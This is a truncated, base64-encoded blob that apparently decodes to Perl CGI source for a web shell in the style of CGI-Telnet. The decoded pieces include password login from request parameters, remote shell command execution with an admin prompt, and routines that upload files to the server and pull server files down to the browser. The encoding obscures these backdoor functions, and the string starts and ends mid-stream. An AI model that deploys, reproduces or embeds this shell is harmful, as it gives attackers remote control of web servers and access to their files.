MUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS2MzVmlJRU52YlcxaGJtUlVhVzFsYjNWMENuc0tDV2xtS0NFa1YybHVUbFFwQ2dsN0Nna0pZV3hoY20wb01DazdDZ2tKY0hKcGJuUWdQRHhGVGtRN0Nqd3ZlRzF3UGdvOFkyOWtaVDRLUTI5dGJXRnVaQ0JsZUdObFpXUmxaQ0J0WVhocGJYVnRJSFJwYldVZ2IyWWdKRU52YlcxaGJtUlVhVzFsYjNWMFJIVnlZWFJwYjI0Z2MyVmpiMjVrS0hNcExnbzhZbkkrUzJsc2JHVmtJR2wwSVFvOFkyOWtaVDRLUlU1RUNna0pKbEJ5YVc1MFEyOXRiV0Z1WkV4cGJtVkpibkIxZEVadmNtMDdDZ2tKSmxCeWFXNTBVR0ZuWlVadmIzUmxjanNLQ1FsbGVHbDBPd29KZlFwOUNnb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENpTWdWR2hwY3lCbWRXNWpkR2x2YmlCcGN5QmpZV3hzWldRZ2RHOGdaWGhsWTNWMFpTQmpiMjF0WVc1a2N5NGdTWFFnWkdsemNHeGhlWE1nZEdobElHOTFkSEIxZENCdlppQjBhR1VLSXlCamIyMXRZVzVrSUdGdVpDQmhiR3h2ZDNNZ2RHaGxJSFZ6WlhJZ2RHOGdaVzUwWlhJZ1lXNXZkR2hsY2lCamIyMXRZVzVrTGlCVWFHVWdZMmhoYm1kbElHUnBjbVZqZEc5eWVRb2pJR052YlcxaGJtUWdhWE1nYUdGdVpHeGxaQ0JrYVdabVpYSmxiblJzZVM0Z1NXNGdkR2hwY3lCallYTmxMQ0IwYUdVZ2JtVjNJR1JwY21WamRHOXllU0JwY3lCemRHOXlaV1FnYVc0S0l5QmhiaUJwYm5SbGNtNWhiQ0IyWVhKcFlXSnNaU0JoYm1RZ2FYTWdkWE5sWkNCbFlXTm9JSFJwYldVZ1lTQmpiMjF0WVc1a0lHaGhjeUIwYnlCaVpTQmxlR1ZqZFhSbFpDNGdWR2hsQ2lNZ2IzVjBjSFYwSUc5bUlIUm9aU0JqYUdGdVoyVWdaR2x5WldOMGIzSjVJR052YlcxaGJtUWdhWE1nYm05MElHUnBjM0JzWVhsbFpDQjBieUIwYUdVZ2RYTmxjbk1LSXlCMGFHVnlaV1p2Y21VZ1pYSnliM0lnYldWemMyRm5aWE1nWTJGdWJtOTBJR0psSUdScGMzQnNZWGxsWkM0S0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFwemRXSWdSWGhsWTNWMFpVTnZiVzFoYm1RS2V3b0phV1lvSkZKMWJrTnZiVzFoYm1RZ1BYNGdiUzllWEhNcVkyUmNjeXNvTGlzcEx5a2dJeUJwZENCcGN5QmhJR05vWVc1blpTQmthWElnWTI5dGJXRnVaQW9KZXdvSkNTTWdkMlVnWTJoaGJtZGxJSFJvWlNCa2FYSmxZM1J2Y25rZ2FXNTBaWEp1WVd4c2VTNGdWR2hsSUc5MWRIQjFkQ0J2WmlCMGFHVUtDUWtqSUdOdmJXMWhibVFnYVhNZ2JtOTBJR1JwYzNCc1lYbGxaQzRLQ1FrS0NRa2tUMnhrUkdseUlEMGdKRU4xY25KbGJuUkVhWEk3Q2drSkpFTnZiVzFoYm1RZ1BTQWlZMlFnWENJa1EzVnljbVZ1ZEVScGNsd2lJaTRrUTIxa1UyVndMaUpqWkNBa01TSXVKRU50WkZObGNDNGtRMjFrVUhka093b0pDV05vYjNBb0pFTjFjbkpsYm5SRWFYSWdQU0JnSkVOdmJXMWhibVJnS1RzS0NRa21VSEpwYm5SUVlXZGxTR1ZoWkdWeUtDSmpJaWs3Q2drSkpGQnliMjF3ZENBOUlDUlhhVzVPVkNBL0lDSWtUMnhrUkdseVBpQWlJRG9nSWx0aFpHMXBibHhBSkZObGNuWmxjazVoYldVZ0pFOXNaRVJwY2wxY0pDQWlPd29KQ1hCeWFXNTBJQ0k4WTI5a1pUNGtVSEp2YlhCMElDUlNkVzVEYjIxdFlXNWtQQzlqYjJSbFBpSTdDZ2w5Q2dsbGJITmxJQ01nYzI5dFpTQnZkR2hsY2lCamIyMXRZVzVrTENCa2FYTndiR0Y1SUhSb1pTQnZkWFJ3ZFhRS0NYc0tDUWttVUhKcGJuUlFZV2RsU0dWaFpHVnlLQ0pqSWlrN0Nna0pKRkJ5YjIxd2RDQTlJQ1JYYVc1T1ZDQS9JQ0lrUTNWeWNtVnVkRVJwY2o0Z0lpQTZJQ0piWVdSdGFXNWNRQ1JUWlhKMlpYSk9ZVzFsSUNSRGRYSnlaVzUwUkdseVhWd2tJQ0k3Q2drSmNISnBiblFnSWp4amIyUmxQaVJRY205dGNIUWdKRkoxYmtOdmJXMWhibVE4TDJOdlpHVStQSGh0Y0Q0aU93b0pDU1JEYjIxdFlXNWtJRDBnSW1Oa0lGd2lKRU4xY25KbGJuUkVhWEpjSWlJdUpFTnRaRk5sY0M0a1VuVnVRMjl0YldGdVpDNGtVbVZrYVhKbFkzUnZjanNLQ1FscFppZ2hKRmRwYms1VUtRb0pDWHNLQ1FrSkpGTkpSM3NuUVV4U1RTZDlJRDBnWENaRGIyMXRZVzVrVkdsdFpXOTFkRHNLQ1FrSllXeGhjbTBvSkVOdmJXMWhibVJVYVcxbGIzVjBSSFZ5WVhScGIyNHBPd29KQ1gwS0NRbHBaaWdrVTJodmQwUjVibUZ0YVdOUGRYUndkWFFwSUNNZ2MyaHZkeUJ2ZFhSd2RYUWdZWE1nYVhRZ2FYTWdaMlZ1WlhKaGRHVmtDZ2tKZXdvSkNRa2tmRDB4T3dvSkNRa2tRMjl0YldGdVpDQXVQU0FpSUh3aU93b0pDUWx2Y0dWdUtFTnZiVzFoYm1SUGRYUndkWFFzSUNSRGIyMXRZVzVrS1RzS0NRa0pkMmhwYkdVb1BFTnZiVzFoYm1SUGRYUndkWFErS1FvSkNRbDdDZ2tKQ1Fra1h5QTlmaUJ6THloY2JueGNjbHh1S1NRdkx6c0tDUWtKQ1hCeWFXNTBJQ0lrWDF4dUlqc0tDUWtKZlFvSkNRa2tmRDB3T3dvSkNYMEtDUWxsYkhObElDTWdjMmh2ZHlCdmRYUndkWFFnWVdaMFpYSWdZMjl0YldGdVpDQmpiMjF3YkdWMFpYTUtDUWw3Q2drSkNYQnlhVzUwSUdBa1EyOXRiV0Z1WkdBN0Nna0pmUW9KQ1dsbUtDRWtWMmx1VGxRcENna0pld29KQ1FsaGJHRnliU2d3S1RzS0NRbDlDZ2tKY0hKcGJuUWdJand2ZUcxd1BpSTdDZ2w5Q2drbVVISnBiblJEYjIxdFlXNWtUR2x1WlVsdWNIVjBSbTl5YlRzS0NTWlFjbWx1ZEZCaFoyVkdiMjkwWlhJN0NuMEtDaU10TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMEtJeUJVYUdseklHWjFibU4wYVc5dUlHUnBjM0JzWVhseklIUm9aU0J3WVdkbElIUm9ZWFFnWTI5dWRHRnBibk1nWVNCc2FXNXJJSGRvYVdOb0lHRnNiRzkzY3lCMGFHVWdkWE5sY2dvaklIUnZJR1J2ZDI1c2IyRmtJSFJvWlNCemNHVmphV1pwWldRZ1ptbHNaUzRnVkdobElIQmhaMlVnWVd4emJ5QmpiMjUwWVdsdWN5QmhJR0YxZEc4dGNtVm1jbVZ6YUFvaklHWmxZWFIxY21VZ2RHaGhkQ0J6ZEdGeWRITWdkR2hsSUdSdmQyNXNiMkZrSUdGMWRHOXRZWFJwWTJGc2JIa3VDaU1nUVhKbmRXMWxiblFnTVRvZ1JuVnNiSGtnY1hWaGJHbG1hV1ZrSUdacGJHVnVZVzFsSUc5bUlIUm9aU0JtYVd4bElIUnZJR0psSUdSdmQyNXNiMkZrWldRS0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFwemRXSWdVSEpwYm5SRWIzZHViRzloWkV4cGJtdFFZV2RsQ25zS0NXeHZZMkZzS0NSR2FXeGxWWEpzS1NBOUlFQmZPd29KYVdZb0xXVWdKRVpwYkdWVmNtd3BJQ01nYVdZZ2RHaGxJR1pwYkdVZ1pYaHBjM1J6Q2dsN0Nna0pJeUJsYm1OdlpHVWdkR2hsSUdacGJHVWdiR2x1YXlCemJ5QjNaU0JqWVc0Z2MyVnVaQ0JwZENCMGJ5QjBhR1VnWW5KdmQzTmxjZ29KQ1NSR2FXeGxWWEpzSUQxK0lITXZLRnRlWVMxNlFTMWFNQzA1WFNrdkp5VW5MblZ1Y0dGamF5Z2lTQ29pTENReEtTOWxaenNLQ1Fra1JHOTNibXh2WVdSTWFXNXJJRDBnSWlSVFkzSnBjSFJNYjJOaGRHbHZiajloUFdSdmQyNXNiMkZrSm1ZOUpFWnBiR1ZWY213bWJ6MW5ieUk3Q2drSkpFaDBiV3hOWlhSaFNHVmhaR1Z5SUQwZ0lqeHRaWFJoSUVoVVZGQXRSVkZWU1ZZOVhDSlNaV1p5WlhOb1hDSWdRMDlPVkVWT1ZEMWNJakU3SUZWU1REMGtSRzkzYm14dllXUk1hVzVyWENJK0lqc0tDUWttVUhKcGJuUlFZV2RsU0dWaFpHVnlLQ0pqSWlrN0Nna0pjSEpwYm5RZ1BEeEZUa1E3Q2p4amIyUmxQZ3BUWlc1a2FXNW5JRVpwYkdVZ0pGUnlZVzV6Wm1WeVJtbHNaUzR1TGp4aWNqNEtTV1lnZEdobElHUnZkMjVzYjJGa0lHUnZaWE1nYm05MElITjBZWEowSUdGMWRHOXRZWFJwWTJGc2JIa3NDanhoSUdoeVpXWTlJaVJFYjNkdWJHOWhaRXhwYm1zaVBrTnNhV05ySUVobGNtVThMMkUrTGdvOEwyTnZaR1UrQ2tWT1JBb0pDU1pRY21sdWRFTnZiVzFoYm1STWFXNWxTVzV3ZFhSR2IzSnRPd29KQ1NaUWNtbHVkRkJoWjJWR2IyOTBaWEk3Q2dsOUNnbGxiSE5sSUNNZ1ptbHNaU0JrYjJWemJpZDBJR1Y0YVhOMENnbDdDZ2tKSmxCeWFXNTBVR0ZuWlVobFlXUmxjaWdpWmlJcE93b0pDWEJ5YVc1MElDSThZMjlrWlQ1R1lXbHNaV1FnZEc4Z1pHOTNibXh2WVdRZ0pFWnBiR1ZWY213NklDUWhQQzlqYjJSbFBpSTdDZ2tKSmxCeWFXNTBSbWxzWlVSdmQyNXNiMkZrUm05eWJUc0tDUWttVUhKcGJuUlFZV2RsUm05dmRHVnlPd29KZlFwOUNnb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENpTWdWR2hwY3lCbWRXNWpkR2x2YmlCeVpXRmtjeUIwYUdVZ2MzQmxZMmxtYVdWa0lHWnBiR1VnWm5KdmJTQjBhR1VnWkdsemF5QmhibVFnYzJWdVpITWdhWFFnZEc4Z2RHaGxDaU1nWW5KdmQzTmxjaXdnYzI4Z2RHaGhkQ0JwZENCallXNGdZbVVnWkc5M2JteHZZV1JsWkNCaWVTQjBhR1VnZFhObGNpNEtJeUJCY21kMWJXVnVkQ0F4T2lCR2RXeHNlU0J4ZFdGc2FXWnBaV1FnY0dGMGFHNWhiV1VnYjJZZ2RHaGxJR1pwYkdVZ2RHOGdZbVVnYzJWdWRDNEtJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRcHpkV0lnVTJWdVpFWnBiR1ZVYjBKeWIzZHpaWElLZXdvSmJHOWpZV3dvSkZObGJtUkdhV3hsS1NBOUlFQmZPd29KYVdZb2IzQmxiaWhUUlU1RVJrbE1SU3dnSkZObGJtUkdhV3hsS1NrZ0l5Qm1hV3hsSUc5d1pXNWxaQ0JtYjNJZ2NtVmhaR2x1WndvSmV3b0pDV2xtS0NSWGFXNU9WQ2tLQ1FsN0Nna0pDV0pwYm0xdlpHVW9VMFZPUkVaSlRFVXBPd29KQ1FsaWFXNXRiMlJsS0ZOVVJFOVZWQ2s3Q2drSmZRb0pDU1JHYVd4bFUybDZaU0E5SUNoemRHRjBLQ1JUWlc1a1JtbHNaU2twV3pkZE93b0pDU2drUm1sc1pXNWhiV1VnUFNBa1UyVnVaRVpwYkdVcElEMStJQ0J0SVNoYlhpOWVYRnhkS2lra0lUc0tDUWx3Y21sdWRDQWlRMjl1ZEdWdWRDMVVlWEJsT2lCaGNIQnNhV05oZEdsdmJpOTRMWFZ1YTI1dmQyNWNiaUk3Q2drSmNISnBiblFnSWtOdmJuUmxiblF0VEdWdVozUm9PaUFrUm1sc1pWTnBlbVZjYmlJN0Nna0pjSEpwYm5RZ0lrTnZiblJsYm5RdFJHbHpjRzl6YVhScGIyNDZJR0YwZEdGamFHMWxiblE3SUdacGJHVnVZVzFsUFNReFhHNWNiaUk3Q2drSmNISnBiblFnZDJocGJHVW9QRk5GVGtSR1NVeEZQaWs3Q2drSlkyeHZjMlVvVTBWT1JFWkpURVVwT3dvSmZRb0paV3h6WlNBaklHWmhhV3hsWkNCMGJ5QnZjR1Z1SUdacGJHVUtDWHNLQ1FrbVVISnBiblJRWVdkbFNHVmhaR1Z5S0NKbUlpazdDZ2tKY0hKcGJuUWdJanhqYjJSbFBrWmhhV3hsWkNCMGJ5QmtiM2R1Ykc5aFpDQWtVMlZ1WkVacGJHVTZJQ1FoUEM5amIyUmxQaUk3Q2drSkpsQnlhVzUwUm1sc1pVUnZkMjVzYjJGa1JtOXliVHNLQ1FrbVVISnBiblJRWVdkbFJtOXZkR1Z5T3dvSmZRcDlDZ29LSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUW9qSUZSb2FYTWdablZ1WTNScGIyNGdhWE1nWTJGc2JHVmtJSGRvWlc0Z2RHaGxJSFZ6WlhJZ1pHOTNibXh2WVdSeklHRWdabWxzWlM0Z1NYUWdaR2x6Y0d4aGVYTWdZU0J0WlhOellXZGxDaU1nZEc4Z2RHaGxJSFZ6WlhJZ1lXNWtJSEJ5YjNacFpHVnpJR0VnYkdsdWF5QjBhSEp2ZFdkb0lIZG9hV05vSUhSb1pTQm1hV3hsSUdOaGJpQmlaU0JrYjNkdWJHOWhaR1ZrTGdvaklGUm9hWE1nWm5WdVkzUnBiMjRnYVhNZ1lXeHpieUJqWVd4c1pXUWdkMmhsYmlCMGFHVWdkWE5sY2lCamJHbGphM01nYjI0Z2RHaGhkQ0JzYVc1ckxpQkpiaUIwYUdseklHTmhjMlVzQ2lNZ2RHaGxJR1pwYkdVZ2FYTWdjbVZoWkNCaGJtUWdjMlZ1ZENCMGJ5QjBhR1VnWW5KdmQzTmxjaTRLSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUXB6ZFdJZ1FtVm5hVzVFYjNkdWJHOWhaQXA3Q2draklHZGxkQ0JtZFd4c2VTQnhkV0ZzYVdacFpXUWdjR0YwYUNCdlppQjBhR1VnWm1sc1pTQjBieUJpWlNCa2IzZHViRzloWkdWa0NnbHBaaWdvSkZkcGJrNVVJQ1lnS0NSVWNtRnVjMlpsY2tacGJHVWdQWDRnYlM5ZVhGeDhYaTQ2THlrcElId0tDUWtvSVNSWGFXNU9WQ0FtSUNna1ZISmhibk5tWlhKR2FXeGxJRDErSUcwdlhsd3ZMeWtwS1NBaklIQmhkR2dnYVhNZ1lXSnpiMngxZEdVS0NYc0tDUWtrVkdGeVoyVjBSbWxzWlNBOUlDUlVjbUZ1YzJabGNrWnBiR1U3Q2dsOUNnbGxiSE5sSUNNZ2NHRjBhQ0JwY3lCeVpXeGhkR2wyWlFvSmV3b0pDV05vYjNBb0pGUmhjbWRsZEVacGJHVXBJR2xtS0NSVVlYSm5aWFJHYVd4bElEMGdKRU4xY25KbGJuUkVhWElwSUQxK0lHMHZXMXhjWEM5ZEpDODdDZ2tKSkZSaGNtZGxkRVpwYkdVZ0xqMGdKRkJoZEdoVFpYQXVKRlJ5WVc1elptVnlSbWxzWlRzS0NYMEtDZ2xwWmlna1QzQjBhVzl1Y3lCbGNTQWlaMjhpS1NBaklIZGxJR2hoZG1VZ2RHOGdjMlZ1WkNCMGFHVWdabWxzWlFvSmV3b0pDU1pUWlc1a1JtbHNaVlJ2UW5KdmQzTmxjaWdrVkdGeVoyVjBSbWxzWlNrN0NnbDlDZ2xsYkhObElDTWdkMlVnYUdGMlpTQjBieUJ6Wlc1a0lHOXViSGtnZEdobElHeHBibXNnY0dGblpRb0pld29KQ1NaUWNtbHVkRVJ2ZDI1c2IyRmtUR2x1YTFCaFoyVW9KRlJoY21kbGRFWnBiR1VwT3dvSmZRcDlDZ29qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDaU1nVkdocGN5Qm1kVzVqZEdsdmJpQnBjeUJqWVd4c1pXUWdkMmhsYmlCMGFHVWdkWE5sY2lCM1lXNTBjeUIwYnlCMWNHeHZZV1FnWVNCbWFXeGxMaUJKWmlCMGFHVUtJeUJtYVd4bElHbHpJRzV2ZENCemNHVmphV1pwWldRc0lHbDBJR1JwYzNCc1lYbHpJR0VnWm05eWJTQmhiR3h2ZDJsdVp5QjBhR1VnZFhObGNpQjBieUJ6Y0dWamFXWjVJR0VLSXlCbWFXeGxMQ0J2ZEdobGNuZHBjMlVnYVhRZ2MzUmhjblJ6SUhSb1pTQjFjR3h2WVdRZ2NISnZZMlZ6Y3k0S0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFwemRXSWdWWEJzYjJGa1JtbHNaUXA3Q2draklHbG1JRzV2SUdacGJHVWdhWE1nYzNCbFkybG1hV1ZrTENCd2NtbHVkQ0IwYUdVZ2RYQnNiMkZrSUdadmNtMGdZV2RoYVc0S0NXbG1LQ1JVY21GdWMyWmxja1pwYkdVZ1pYRWdJaUlwQ2dsN0Nna0pKbEJ5YVc1MFVHRm5aVWhsWVdSbGNpZ2laaUlwT3dvSkNTWlFjbWx1ZEVacGJHVlZjR3h2WVdSR2IzSnRPd29KQ1NaUWNtbHVkRkJoWjJWR2IyOTBaWEk3Q2drSmNtVjBkWEp1T3dvSmZRb0pKbEJ5YVc1MFVHRm5aVWhsWVdSbGNpZ2lZeUlwT3dvS0NTTWdjM1JoY25RZ2RHaGxJSFZ3Ykc5aFpHbHVaeUJ3Y205alpYTnpDZ2x3Y21sdWRDQWlQR052WkdVK1ZYQnNiMkZrYVc1bklDUlVjbUZ1YzJabGNrWnBiR1VnZEc4Z0pFTjFjbkpsYm5SRWFYSXVMaTQ4WW5JK0lqc0tDZ2tqSUdkbGRDQjBhR1VnWm5Wc2JHeDVJSEYxWVd4cFptbGxaQ0J3WVhSb2JtRnRaU0J2WmlCMGFHVWdabWxzWlNCMGJ5QmlaU0JqY21WaGRHVmtDZ2xqYUc5d0tDUlVZWEpuWlhST1lXMWxLU0JwWmlBb0pGUmhjbWRsZEU1aGJXVWdQU0FrUTNWeWNtVnVkRVJwY2lrZ1BYNGdiUzliWEZ4Y0wxMGtMenNLQ1NSVWNtRnVjMlpsY2tacGJHVWdQWDRnYlNFb1cxNHZYbHhjWFNvcEpDRTdDZ2trVkdGeVoyVjBUbUZ0WlNBdVBTQWtVR0YwYUZObGNDNGtNVHNLQ2dra1ZHRnlaMlYwUm1sc1pWTnBlbVVnUFNCc1pXNW5kR2dvSkdsdWV5ZG1hV3hsWkdGMFlTZDlLVHNLQ1NNZ2FXWWdkR2hsSUdacGJHVWdaWGhwYzNSeklHRnVaQ0IzWlNCaGNtVWdibTkwSUhOMWNIQnZjMlZrSUhSdklHOTJaWEozY21sMFpTQnBkQW9KYVdZb0xXVWdKRlJoY21kbGRFNWhiV1VnSmlZZ0pFOXdkR2x2Ym5NZ2JtVWdJbTkyWlhKM2NtbDBaU0lwQ2dsN0Nna0pjSEpwYm5RZ0lrWmhhV3hsWkRvZ1JHVnpkR2x1WVhScGIyNGdabWxzWlNCaGJISmxZV1I1SUdWNGFYTjBjeTQ4WW5JK0lqc0tDWDBLQ1dWc2MyVWdJeUJtYVd4bElHbHpJRzV2ZENCd2NtVnpaVzUwQ2dsN0Nna0phV1lvYjNCbGJpaFZVRXhQUVVSR1NVeEZMQ0FpUGlSVVlYSm5aWFJPWVcxbElpa3BDZ2tKZXdvSkNRbGlhVzV0YjJSbEtGVlFURTlCUkVaSlRFVXBJR2xtSUNSWGFXNU9WRHNLQ1FrSmNISnBiblFnVlZCTVQwRkVSa2xNUlNBa2FXNTdKMlpwYkdWa1lYUmhKMzA3Q2drSkNXTnNiM05sS0ZWUVRFOUJSRVpKVEVVcE93b0pDUWx3Y21sdWRDQWlWSEpoYm5ObVpYSmxaQ0FrVkdGeVoyVjBSbWxzWlZOcGVtVWdRbmwwWlhNdVBHSnlQaUk3Q2drSkNYQnlhVzUwSUNKR2FXeGxJRkJoZEdnNklDUlVZWEpuWlhST1lXMWxQR0p5UGlJN0Nna0pmUW9KQ1dWc2MyVUtDUWw3Q2drSkNYQnlhVzUwSUNKR1lXbHNaV1E2SUNRaFBHSnlQaUk3Q2drSmZRb0pmUW9KY0hKcGJuUWdJand2WTI5a1pUNGlPd29KSmxCeWFXNTBRMjl0YldGdVpFeHBibVZKYm5CMWRFWnZjbTA3Q2drbVVISnBiblJRWVdkbFJtOXZkR1Z5T3dwOUNnb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENpTWdWR2hwY3lCbWRXNWpkR2x2YmlCcGN5QmpZV3hzWldRZ2QyaGxiaUIwYUdVZ2RYTmxjaUIzWVc1MGN5QjBieUJrYjNkdWJHOWhaQ0JoSUdacGJHVXVJRWxtSUhSb1pRb2pJR1pwYkdWdVlXMWxJR2x6SUc1dmRDQnpjR1ZqYVdacFpXUXNJR2wwSUdScGMzQnNZWGx6SUdFZ1ptOXliU0JoYkd4dmQybHVaeUIwYUdVZ2RYTmxjaUIwYnlCemNHVmphV1o1SUdFS0l5Qm1hV3hsTENCdmRHaGxjbmRwYzJVZ2FYUWdaR2x6Y0d4aGVYTWdZU0J0WlhOellXZGxJSFJ2SUhSb1pTQjFjMlZ5SUdGdVpDQndjbTkyYVdSbGN5QmhJR3hwYm1zS0l5QjBhSEp2ZFdkb0lDQjNhR2xqYUNCMGFHVWdabWxzWlNCallXNGdZbVVnWkc5M2JteHZZV1JsWkM0S0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFwemRXSWdSRzkzYm14dllXUkdhV3hsQ25zS0NTTWdhV1lnYm04Z1ptbHNaU0JwY3lCemNHVmphV1pwWldRc0lIQnlhVzUwSUhSb1pTQmtiM2R1Ykc5aFpDQm1iM0p0SUdGbllXbHVDZ2xwWmlna1ZISmhibk5tWlhKR2FXeGxJR1Z4SUNJaUtRb0pld29KQ1NaUWNtbHVkRkJoWjJWSVpXRmtaWElvSW1ZaUtUc0tDUWttVUhKcGJuUkdhV3hsUkc5M2JteHZZV1JHYjNKdE93b0pDU1pRY21sdWRGQmhaMlZHYjI5MFpYSTdDZ2tKY21WMGRYSnVPd29KZlFvSkNna2pJR2RsZENCbWRXeHNlU0J4ZFdGc2FXWnBaV1FnY0dGMGFDQnZaaUIwYUdVZ1ptbHNaU0IwYnlCaVpTQmtiM2R1Ykc5aFpHVmtDZ2xwWmlnb0pGZHBiazVVSUNZZ0tDUlVjbUZ1YzJabGNrWnBiR1VnUFg0Z2JTOWVYRng4WGk0Nkx5a3BJSHdLQ1Frb0lTUlhhVzVPVkNBbUlDZ2tWSEpoYm5ObVpYSkdhV3hsSUQxK0lHMHZYbHd2THlrcEtTQWpJSEJoZEdnZ2FYTWdZV0p6YjJ4MWRHVUtDWHNLQ1Fra1ZHRnlaMlYwUm1sc1pTQTlJQ1JVY21GdWMyWmxja1pwYkdVN0NnbDlDZ2xsYkhObElDTWdjR0YwYUNCcGN5QnlaV3hoZEdsMlpRb0pld29KQ1dOb2IzQW9KRlJoY21kbGRFWnBiR1VwSUdsbUtDUlVZWEpuWlhSR2FXeGxJRDBnSkVOMWNuSmxiblJFYVhJcElEMStJRzB2VzF4Y1hDOWRKQzg3Q2drSkpGUmhjbWRsZEVacGJHVWdMajBnSkZCaGRHaFRaWEF1SkZSeVlXNXpabVZ5Um1sc1pUc0tDWDBLQ2dscFppZ2tUM0IwYVc5dWN5QmxjU0FpWjI4aUtTQWpJSGRsSUdoaGRtVWdkRzhnYzJWdVpDQjBhR1VnWm1sc1pRb0pld29KQ1NaVFpXNWtSbWxzWlZSdlFuSnZkM05sY2lna1ZHRnlaMlYwUm1sc1pTazdDZ2w5Q2dsbGJITmxJQ01nZDJVZ2FHRjJaU0IwYnlCelpXNWtJRzl1YkhrZ2RHaGxJR3hwYm1zZ2NHRm5aUW9KZXdvSkNTWlFjbWx1ZEVSdmQyNXNiMkZrVEdsdWExQmhaMlVvSkZSaGNtZGxkRVpwYkdVcE93b0pmUXA5Q2dvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q2lNZ1RXRnBiaUJRY205bmNtRnRJQzBnUlhobFkzVjBhVzl1SUZOMFlYSjBjeUJJWlhKbENpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS0psSmxZV1JRWVhKelpUc0tKa2RsZEVOdmIydHBaWE03Q2dva1UyTnlhWEIwVEc5allYUnBiMjRnUFNBa1JVNVdleWRUUTFKSlVGUmZUa0ZOUlNkOU93b2tVMlZ5ZG1WeVRtRnRaU0E5SUNSRlRsWjdKMU5GVWxaRlVsOU9RVTFGSjMwN0NpUk1iMmRwYmxCaGMzTjNiM0prSUQwZ0pHbHVleWR3SjMwN0NpUlNkVzVEYjIxdFlXNWtJRDBnSkdsdWV5ZGpKMzA3Q2lSVWNtRnVjMlpsY2tacGJHVWdQU0FrYVc1N0oyWW5mVHNLSkU5d2RHbHZibk1nUFNBa2FXNTdKMjhuZlRzS0NpUkJZM1JwYjI0Z1BTQWthVzU3SjJFbmZUc0tKRUZqZEdsdmJpQTlJQ0pzYjJkcGJpSWdhV1lvSkVGamRHbHZiaUJsY1NBaUlpazdJQ01nYm04Z1lXTjBhVzl1SUhOd1pXTnBabWxsWkN3Z2RYTmxJR1JsWm1GMWJIUUtDaU1nWjJWMElIUm9aU0JrYVhKbFkzUnZjbmtnYVc0Z2QyaHBZMmdnZEdobElHTnZiVzFoYm1SeklIZHBiR3dnWW1VZ1pYaGxZM1YwWldRS0pFTjFjbkpsYm5SRWFYSWdQU0FrYVc1N0oyUW5mVHNLWTJodmNDZ2tRM1Z5Y21WdWRFUnBjaUE5SUdBa1EyMWtVSGRrWUNrZ2FXWW9KRU4xY25KbGJuUkVhWElnWlhFZ0lpSXBPd29LSkV4dloyZGxaRWx1SUQwZ0pFTnZiMnRwWlhON0oxTkJWa1ZFVUZkRUozMGdaWEVnSkZCaGMzTjNiM0prT3dvS2FXWW9KRUZqZEdsdmJpQmxjU0FpYkc5bmFXNGlJSHg4SUNFa1RHOW5aMlZrU1c0cElDTWdkWE5sY2lCdVpXVmtjeTlvWVhNZ2RHOGdiRzluYVc0S2V3b0pKbEJsY21admNtMU1iMmRwYmpzS2ZRcGxiSE5wWmlna1FXTjBhVzl1SUdWeElDSmpiMjF0WVc1a0lpa2dJeUIxYzJWeUlIZGhiblJ6SU